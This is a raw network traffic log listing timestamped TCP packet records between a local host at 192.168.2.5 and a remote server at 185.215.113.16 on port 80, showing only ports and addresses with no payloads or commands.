Dec 10, 2024 05:10:21.751220942 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.751236916 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.751280069 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.752219915 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.752264023 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.752343893 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.752386093 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.753282070 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.753319979 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.753384113 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.753426075 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.754463911 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.754506111 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.754571915 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.754611015 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.755337954 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.755382061 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.892740011 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.892759085 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.892806053 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.892848015 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.893037081 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.893079042 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.893172026 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.893214941 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.894090891 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.894131899 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.894191027 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.894236088 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.895157099 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.895195961 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.895277023 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.895338058 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.896197081 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.896238089 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.896327972 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.896368980 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.897247076 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.897286892 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.897349119 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.897387981 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.898302078 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.898323059 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.898344040 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.898358107 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.899342060 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.899384975 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.899421930 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.899461985 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.900405884 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.900446892 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.900494099 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.900532961 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.901623964 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.901667118 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.901792049 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.901829958 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.902914047 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.902952909 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.902986050 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.903031111 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.903912067 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.903924942 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.903949976 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.903963089 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.904597998 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.904642105 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.904704094 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.904740095 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.905653954 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.905700922 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.905751944 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.905790091 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.906708956 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.906748056 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.906811953 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.906852007 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.908184052 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.908229113 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.908329010 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.908366919 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.909172058 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.909185886 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.909210920 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.909224987 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.909846067 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.909883022 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.909954071 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.909993887 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.910886049 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.910928011 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.910967112 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.911005974 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.911942959 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.911979914 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.912053108 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.912092924 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.913285971 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.913326025 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.913506985 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.913543940 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.914043903 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.914083004 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.914226055 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.914267063 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.915119886 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.915162086 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.915206909 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.915247917 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.916161060 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.916199923 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.916264057 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.916302919 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.917196989 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.917263031 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.917335033 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.917376995 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.918288946 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.918337107 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.918382883 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.918421984 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.919339895 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.919378996 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.919452906 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.919493914 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.920342922 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.920384884 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.920448065 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.920486927 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.921391964 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.921436071 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.921509027 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.921544075 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.922430038 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.922470093 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.922544956 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.922583103 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.923485994 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.923526049 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.923616886 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.923660040 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.924549103 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.924591064 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.924684048 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.924727917 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.925601006 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.925647974 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.925698042 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.925736904 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.926640034 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.926685095 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.926805973 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.926846027 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.927695990 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.927757978 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.927809000 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.927848101 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.928738117 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.928778887 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.928819895 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.928859949 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.929788113 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.929832935 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.929894924 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.929943085 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.930928946 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.930979967 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.931031942 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.931082010 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.931895971 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.931937933 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.931992054 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.932027102 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.932939053 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.932960987 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.932982922 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.932996035 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.934000015 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.934039116 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.934087992 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.934120893 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.935055017 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.935095072 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.935168982 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.935203075 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.936106920 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.936151028 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.936191082 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.936228037 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.937158108 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.937196970 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.937258959 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.937294960 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.938180923 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.938218117 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.938292027 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.938328981 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.939269066 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.939351082 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.939357996 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.939392090 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.940287113 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.940332890 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.940396070 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.940442085 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.941339970 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.941385031 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.941436052 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.941473007 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.942425966 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.942470074 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.942543030 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.942586899 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.943450928 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.943491936 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.943558931 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.943602085 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.944552898 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.944592953 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.944654942 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.944694996 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.945599079 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.945641041 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.945698977 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.945739031 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.946629047 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.946669102 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.946734905 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.946768999 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:21.947599888 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:21.947642088 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.084779978 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.084844112 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.084980011 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.084980011 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.085130930 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.085174084 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.085321903 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.085361004 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.086194038 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.086236954 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.086280107 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.086318016 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.087234020 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.087275982 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.087290049 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.087322950 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.088280916 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.088326931 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.088376999 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.088413954 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.089318037 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.089358091 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.089512110 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.089551926 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.090374947 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.090416908 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.090457916 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.090497017 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.091444016 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.091485023 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.091537952 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.091578007 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.092479944 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.092514038 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.092562914 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.092601061 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.093528032 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.093568087 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.093617916 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.093657970 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.094587088 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.094626904 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.094670057 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.094708920 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.095647097 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.095704079 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.095727921 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.095767021 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.096673965 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.096714020 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.096775055 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.096813917 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.097765923 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.097804070 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.097835064 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.097875118 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.098799944 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.098844051 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.098850965 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.098893881 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.099855900 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.099896908 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.099896908 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.099941969 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.101200104 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.101243019 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.101309061 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.101347923 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.101926088 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.101963043 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.102026939 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.102063894 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.102952003 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.102989912 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.103066921 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.103105068 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.104036093 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.104075909 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.104140997 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.104178905 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.105077982 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.105118990 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.105190992 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.105227947 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.106122017 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.106178045 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.106206894 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.106241941 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.107157946 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.107213974 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.107249022 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.107285976 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.108215094 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.108252048 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.108357906 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.108396053 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.109294891 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.109333038 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.109381914 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.109417915 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.110614061 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.110662937 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.110723019 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.110758066 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.111352921 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.111391068 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.111454010 CET	80	49855	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:22.111490011 CET	49855	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:22.112431049 CET	80	49855	185.215.113.16	192.168.2.5
